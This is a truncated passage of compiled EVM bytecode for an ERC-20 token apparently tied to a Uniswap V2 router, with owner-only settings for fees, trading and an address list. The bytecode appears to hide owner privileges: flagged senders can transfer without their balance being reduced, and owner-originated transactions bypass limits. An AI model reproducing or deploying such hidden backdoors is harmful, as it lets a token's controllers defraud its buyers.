0x6080604052600436106101fd5760003560e01c8063768dc7101161010d578063a457c2d7116100a0578063edaa11681161006f578063edaa116814610722578063f2fde38b1461074b578063f570d4de14610774578063f66895a31461079d578063f887ea40146107c957610204565b8063a457c2d714610640578063a8aa1b311461067d578063a9059cbb146106a8578063dd62ed3e146106e557610204565b80638cd4426d116100dc5780638cd4426d146105985780638da5cb5b146105c157806395d89b41146105ec5780639e252f001461061757610204565b8063768dc710146104f0578063832c2bd21461052d57806385141a7714610556578063883755631461058157610204565b8063395093511161019057806366a88d961161015f57806366a88d961461041a57806370a0823114610445578063715018a614610482578063728f8eea14610499578063751039fc146104c557610204565b8063395093511461036057806342b6fa111461039d5780634ada218b146103c65780635dbdb7e3146103f157610204565b806318160ddd116101cc57806318160ddd146102a457806323b872dd146102cf578063251ef0951461030c578063313ce5671461033557610204565b806301339c211461020957806306fdde0314610213578063095ea7b31461023e5780631340538f1461027b57610204565b3661020457005b600080fd5b6102116107f4565b005b34801561021f57600080fd5b50610228610be5565b6040516102359190613327565b60405180910390f35b34801561024a57600080fd5b50610265600480360381019061026091906133f1565b610c77565b604051610272919061344c565b60405180910390f35b34801561028757600080fd5b506102a2600480360381019061029d9190613493565b610c95565b005b3480156102b057600080fd5b506102b9610d2e565b6040516102c691906134cf565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f191906134ea565b610d38565b604051610303919061344c565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e9190613685565b610e39565b005b34801561034157600080fd5b5061034a610f4a565b60405161035791906136ea565b60405180910390f35b34801561036c57600080fd5b50610387600480360381019061038291906133f1565b610f53565b604051610394919061344c565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf9190613705565b610fff565b005b3480156103d257600080fd5b506103db6110a3565b6040516103e8919061344c565b60405180910390f35b3480156103fd57600080fd5b5061041860048036038101906104139190613732565b6110b6565b005b34801561042657600080fd5b5061042f61118d565b60405161043c91906134cf565b60405180910390f35b34801561045157600080fd5b5061046c60048036038101906104679190613732565b611193565b60405161047991906134cf565b60405180910390f35b34801561048e57600080fd5b506104976111db565b005b3480156104a557600080fd5b506104ae611263565b6040516104bc92919061375f565b60405180910390f35b3480156104d157600080fd5b506104da611275565b6040516104e7919061344c565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190613732565b611303565b604051610524919061344c565b60405180910390f35b34801561053957600080fd5b50610554600480360381019061054f9190613732565b611323565b005b34801561056257600080fd5b5061056b6113fa565b6040516105789190613797565b60405180910390f35b34801561058d57600080fd5b50610596611400565b005b3480156105a457600080fd5b506105bf60048036038101906105ba91906133f1565b61150b565b005b3480156105cd57600080fd5b506105d6611611565b6040516105e39190613797565b60405180910390f35b3480156105f857600080fd5b5061060161163b565b60405161060e9190613327565b60405180910390f35b34801561062357600080fd5b5061063e60048036038101906106399190613705565b6116cd565b005b34801561064c57600080fd5b50610667600480360381019061066291906133f1565b61179a565b604051610674919061344c565b60405180910390f35b34801561068957600080fd5b5061069261188e565b60405161069f9190613797565b60405180910390f35b3480156106b457600080fd5b506106cf60048036038101906106ca91906133f1565b6118b4565b6040516106dc919061344c565b60405180910390f35b3480156106f157600080fd5b5061070c600480360381019061070791906137b2565b6118cb565b60405161071991906134cf565b60405180910390f35b34801561072e57600080fd5b5061074960048036038101906107449190613705565b611952565b005b34801561075757600080fd5b50610772600480360381019061076d9190613732565b611a28565b005b34801561078057600080fd5b5061079b60048036038101906107969190613685565b611b1f565b005b3480156107a957600080fd5b506107b2611c30565b6040516107c092919061375f565b60405180910390f35b3480156107d557600080fd5b506107de611c42565b6040516107eb9190613851565b60405180910390f35b6107fc611c68565b73ffffffffffffffffffffffffffffffffffffffff1661081a611611565b73ffffffffffffffffffffffffffffffffffffffff1614610870576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610867906138b8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fa91906138ed565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610961573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098591906138ed565b6040518363ffffffff1660e01b81526004016109a292919061391a565b6020604051808303816000875af11580156109c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e591906138ed565b905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610b7530611193565b60008033426040518863ffffffff1660e01b8152600401610b9b9695949392919061397e565b60606040518083038185885af1158015610bb9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bde91906139f4565b5050505050565b606060038054610bf490613a76565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2090613a76565b8015610c6d5780601f10610c4257610100808354040283529160200191610c6d565b820191906000526020600020905b815481529060010190602001808311610c5057829003601f168201915b5050505050905090565b6000610c8b610c84611c68565b8484611c70565b6001905092915050565b610c9d611c68565b73ffffffffffffffffffffffffffffffffffffffff16610cbb611611565b73ffffffffffffffffffffffffffffffffffffffff1614610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d08906138b8565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b6000600254905090565b6000610d45848484611e39565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d90611c68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0790613b19565b60405180910390fd5b610e2d85610e1c611c68565b8584610e289190613b68565b611c70565b60019150509392505050565b610e41611c68565b73ffffffffffffffffffffffffffffffffffffffff16610e5f611611565b73ffffffffffffffffffffffffffffffffffffffff1614610eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eac906138b8565b60405180910390fd5b60005b8151811015610f4657600060146000848481518110610eda57610ed9613b9c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f3e90613bcb565b915050610eb8565b5050565b60006012905090565b6000610ff5610f60611c68565b848460016000610f6e611c68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff09190613c13565b611c70565b6001905092915050565b611007611c68565b73ffffffffffffffffffffffffffffffffffffffff16611025611611565b73ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611072906138b8565b60405180910390fd5b611083610f4a565b600a61108f9190613d7a565b8161109a9190613dc5565b60098190555050565b600760169054906101000a900460ff1681565b6110be611c68565b73ffffffffffffffffffffffffffffffffffffffff166110dc611611565b73ffffffffffffffffffffffffffffffffffffffff1614611132576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611129906138b8565b60405180910390fd5b6001601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111e3611c68565b73ffffffffffffffffffffffffffffffffffffffff16611201611611565b73ffffffffffffffffffffffffffffffffffffffff1614611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e906138b8565b60405180910390fd5b6112616000612729565b565b60108060000154908060010154905082565b600061127f611c68565b73ffffffffffffffffffffffffffffffffffffffff1661129d611611565b73ffffffffffffffffffffffffffffffffffffffff16146112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea906138b8565b60405180910390fd5b600854600a819055506001905090565b60146020528060005260406000206000915054906101000a900460ff1681565b61132b611c68565b73ffffffffffffffffffffffffffffffffffffffff16611349611611565b73ffffffffffffffffffffffffffffffffffffffff161461139f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611396906138b8565b60405180910390fd5b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61dead81565b611408611c68565b73ffffffffffffffffffffffffffffffffffffffff16611426611611565b73ffffffffffffffffffffffffffffffffffffffff161461147c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611473906138b8565b60405180910390fd5b600760169054906101000a900460ff16156114cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c390613e53565b60405180910390fd5b6001600760166101000a81548160ff0219169083151502179055506001600760156101000a81548160ff02191690831515021790555043600d81905550565b611513611c68565b73ffffffffffffffffffffffffffffffffffffffff16611531611611565b73ffffffffffffffffffffffffffffffffffffffff1614611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e906138b8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6115ab611611565b836040518363ffffffff1660e01b81526004016115c9929190613e73565b6020604051808303816000875af11580156115e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160c9190613eb1565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461164a90613a76565b80601f016020809104026020016040519081016040528092919081815260200182805461167690613a76565b80156116c35780601f10611698576101008083540402835291602001916116c3565b820191906000526020600020905b8154815290600101906020018083116116a657829003601f168201915b5050505050905090565b6116d5611c68565b73ffffffffffffffffffffffffffffffffffffffff166116f3611611565b73ffffffffffffffffffffffffffffffffffffffff1614611749576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611740906138b8565b60405180910390fd5b611751611611565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611796573d6000803e3d6000fd5b5050565b600080600160006117a9611c68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d90613f50565b60405180910390fd5b611883611871611c68565b85858461187e9190613b68565b611c70565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006118c1338484611e39565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61195a611c68565b73ffffffffffffffffffffffffffffffffffffffff16611978611611565b73ffffffffffffffffffffffffffffffffffffffff16146119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c5906138b8565b60405180910390fd5b600760169054906101000a900460ff1615611a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1590613fe2565b60405180910390fd5b80600e8190555050565b611a30611c68565b73ffffffffffffffffffffffffffffffffffffffff16611a4e611611565b73ffffffffffffffffffffffffffffffffffffffff1614611aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9b906138b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a90614074565b60405180910390fd5b611b1c81612729565b50565b611b27611c68565b73ffffffffffffffffffffffffffffffffffffffff16611b45611611565b73ffffffffffffffffffffffffffffffffffffffff1614611b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b92906138b8565b60405180910390fd5b60005b8151811015611c2c57600160146000848481518110611bc057611bbf613b9c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611c2490613bcb565b915050611b9e565b5050565b60128060000154908060010154905082565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd690614106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4590614198565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e2c91906134cf565b60405180910390a3505050565b60008111611e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e739061422a565b60405180910390fd5b601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f205750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f7557600760169054906101000a900460ff16611f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6b90614296565b60405180910390fd5b5b611f7d611611565b73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603611fbf57611fba8383836127ef565b612724565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120665750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561207f5750600760149054906101000a900460ff16155b156120dd57600a548161209184611193565b61209b9190613c13565b11156120dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d390614302565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121855750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121db5750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121f45750600760149054906101000a900460ff16155b156122a857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146122a757600a548161225b84611193565b6122659190613c13565b11156122a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229d90614302565b60405180910390fd5b5b5b601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123495750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123c757601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123b0576123ab838383612a6c565b612724565b633b9aca00436123c09190613c13565b600e819055505b60008060006123d461327d565b6000601460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561247a5750601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124945750600e54600d546124919190613c13565b43105b9050600760149054906101000a900460ff16806124fa5750601460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061254e5750601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561255c5760009250612638565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156125b7575080155b156125dc576012600001546012600101546125d29190613c13565b9450849350612637565b80612624576010600001546010600101546125f79190613c13565b94508493506010604051806040016040529081600082015481526020016001820154815250509150612636565b801561263557600f549450600f5493505b5b5b5b606484876126469190613dc5565b6126509190614351565b9250600760159054906101000a900460ff1680156126bc5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b156126cc576126cb8583612c9b565b5b6126e2888885896126dd9190613b68565b6127ef565b600083111561271e57600085111561271d576000606486886127049190613dc5565b61270e9190614351565b905061271b8930836127ef565b505b5b50505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361285e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612855906143f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036128cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c490614486565b60405180910390fd5b6128d8838383612e61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561295e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295590614518565b60405180910390fd5b818161296a9190613b68565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129fa9190613c13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a5e91906134cf565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad2906143f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4190614486565b60405180910390fd5b612b55838383612e61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050806000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c299190613c13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c8d91906134cf565b60405180910390a350505050565b600760149054906101000a900460ff16612e5d576001600760146101000a81548160ff0219169083151502179055506000820315612e41576000612cde30611193565b90506009548110612e3f5760016009541115612cfa5760095490505b6000600284612d099190613dc5565b9050600081846020015184612d1e9190613dc5565b612d289190614351565b905060008184612d389190613b68565b90506000479050612d4882612e66565b60008147612d569190613b68565b90506000876020015186612d6a9190613b68565b82612d759190614351565b90506000886020015182612d899190613dc5565b90506000811115612d9f57612d9e86826130a9565b5b600080600e5443612db09190613b68565b119050600081612dc1576000612dde565b8a60000151600285612dd39190613dc5565b612ddd9190613dc5565b5b90506000811115612e3557612e3481600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661318990919063ffffffff16565b5b5050505050505050505b505b6000600760146101000a81548160ff0219169083151502179055505b5050565b505050565b6000600267ffffffffffffffff811115612e8357612e82613542565b5b604051908082528060200260200182016040528015612eb15781602001602082028036833780820191505090505b5090503081600081518110612ec957612ec8613b9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f9491906138ed565b81600181518110612fa857612fa7613b9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c70565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130739594939291906145f6565b600060405180830381600087803b15801561308d57600080fd5b505af11580156130a1573d6000803e3d6000fd5b505050505050565b6130d630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c70565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161313f9695949392919061397e565b60606040518083038185885af115801561315d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061318291906139f4565b5050505050565b804710156131cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c39061469c565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff16826040516131f2906146ed565b60006040518083038185875af1925050503d806000811461322f576040519150601f19603f3d011682016040523d82523d6000602084013e613234565b606091505b5050905080613278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161326f90614774565b60405180910390fd5b505050565b604051806040016040528060008152602001600081525090565b600081519050919050565b600082825260208201905092915050565b60005b838110156132d15780820151818401526020810190506132b6565b60008484015250505050565b6000601f19601f8301169050919050565b60006132f982613297565b61330381856132a2565b93506133138185602086016132b3565b61331c816132dd565b840191505092915050565b6000602082019050818103600083015261334181846132ee565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133888261335d565b9050919050565b6133988161337d565b81146133a357600080fd5b50565b6000813590506133b58161338f565b92915050565b6000819050919050565b6133ce816133bb565b81146133d957600080fd5b50565b6000813590506133eb816133c5565b92915050565b6000806040838503121561340857613407613353565b5b6000613416858286016133a6565b9250506020613427858286016133dc565b9150509250929050565b60008115159050919050565b61344681613431565b82525050565b6000602082019050613461600083018461343d565b92915050565b61347081613431565b811461347b57600080fd5b50565b60008135905061348d81613467565b92915050565b6000602082840312156134a9576134a8613353565b5b60006134b78482850161347e565b91505092915050565b6134c9816133bb565b82525050565b60006020820190506134e460008301846134c0565b92915050565b60008060006060848603121561350357613502613353565b5b6000613511868287016133a6565b9350506020613522868287016133a6565b9250506040613533868287016133dc565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61357a826132dd565b810181811067ffffffffffffffff8211171561359957613598613542565b5b80604052505050565b60006135ac613349565b90506135b88282613571565b919050565b600067ffffffffffffffff8211156135d8576135d7613542565b5b602082029050602081019050919050565b600080fd5b60006136016135fc846135bd565b6135a2565b90508083825260208201905060208402830185811115613624576136236135e9565b5b835b8181101561364d578061363988826133a6565b845260208401935050602081019050613626565b5050509392505050565b600082601f83011261366c5761366b61353d565b5b813561367c8482602086016135ee565b91505092915050565b60006020828403121561369b5761369a613353565b5b600082013567ffffffffffffffff8111156136b9576136b8613358565b5b6136c584828501613657565b91505092915050565b600060ff82169050919050565b6136e4816136ce565b82525050565b60006020820190506136ff60008301846136db565b92915050565b60006020828403121561371b5761371a613353565b5b6000613729848285016133dc565b91505092915050565b60006020828403121561374857613747613353565b5b6000613756848285016133a6565b91505092915050565b600060408201905061377460008301856134c0565b61378160208301846134c0565b9392505050565b6137918161337d565b82525050565b60006020820190506137ac6000830184613788565b92915050565b600080604083850312156137c9576137c8613353565b5b60006137d7858286016133a6565b92505060206137e8858286016133a6565b9150509250929050565b6000819050919050565b600061381761381261380d8461335d565b6137f2565b61335d565b9050919050565b6000613829826137fc565b9050919050565b600061383b8261381e565b9050919050565b61384b81613830565b82525050565b60006020820190506138666000830184613842565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138a26020836132a2565b91506138ad8261386c565b602082019050919050565b600060208201905081810360008301526138d181613895565b9050919050565b6000815190506138e78161338f565b92915050565b60006020828403121561390357613902613353565b5b6000613911848285016138d8565b91505092915050565b600060408201905061392f6000830185613788565b61393c6020830184613788565b9392505050565b6000819050919050565b600061396861396361395e84613943565b6137f2565b6133bb565b9050919050565b6139788161394d565b82525050565b600060c0820190506139936000830189613788565b6139a060208301886134c0565b6139ad604083018761396f565b6139ba606083018661396f565b6139c76080830185613788565b6139d460a08301846134c0565b979650505050505050565b6000815190506139ee816133c5565b92915050565b600080600060608486031215613a0d57613a0c613353565b5b6000613a1b868287016139df565b9350506020613a2c868287016139df565b9250506040613a3d868287016139df565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613a8e57607f821691505b602082108103613aa157613aa0613a47565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613b036028836132a2565b9150613b0e82613aa7565b604082019050919050565b60006020820190508181036000830152613b3281613af6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613b73826133bb565b9150613b7e836133bb565b9250828203905081811115613b9657613b95613b39565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613bd6826133bb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613c0857613c07613b39565b5b600182019050919050565b6000613c1e826133bb565b9150613c29836133bb565b9250828201905080821115613c4157613c40613b39565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115613c9e57808604811115613c7a57613c79613b39565b5b6001851615613c895780820291505b8081029050613c9785613c47565b9450613c5e565b94509492505050565b600082613cb75760019050613d73565b81613cc55760009050613d73565b8160018114613cdb5760028114613ce557613d14565b6001915050613d73565b60ff841115613cf757613cf6613b39565b5b8360020a915084821115613d0e57613d0d613b39565b5b50613d73565b5060208310610133831016604e8410600b8410161715613d495782820a905083811115613d4457613d43613b39565b5b613d73565b613d568484846001613c54565b92509050818404811115613d6d57613d6c613b39565b5b81810290505b9392505050565b6000613d85826133bb565b9150613d90836136ce565b9250613dbd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613ca7565b905092915050565b6000613dd0826133bb565b9150613ddb836133bb565b9250828202613de9816133bb565b91508282048414831517613e0057613dff613b39565b5b5092915050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000613e3d601a836132a2565b9150613e4882613e07565b602082019050919050565b60006020820190508181036000830152613e6c81613e30565b9050919050565b6000604082019050613e886000830185613788565b613e9560208301846134c0565b9392505050565b600081519050613eab81613467565b92915050565b600060208284031215613ec757613ec6613353565b5b6000613ed584828501613e9c565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613f3a6025836132a2565b9150613f4582613ede565b604082019050919050565b60006020820190508181036000830152613f6981613f2d565b9050919050565b7f43616e2774206368616e6765207768656e2074726164696e672068617320737460008201527f6172746564000000000000000000000000000000000000000000000000000000602082015250565b6000613fcc6025836132a2565b9150613fd782613f70565b604082019050919050565b60006020820190508181036000830152613ffb81613fbf565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061405e6026836132a2565b915061406982614002565b604082019050919050565b6000602082019050818103600083015261408d81614051565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006140f06024836132a2565b91506140fb82614094565b604082019050919050565b6000602082019050818103600083015261411f816140e3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a6572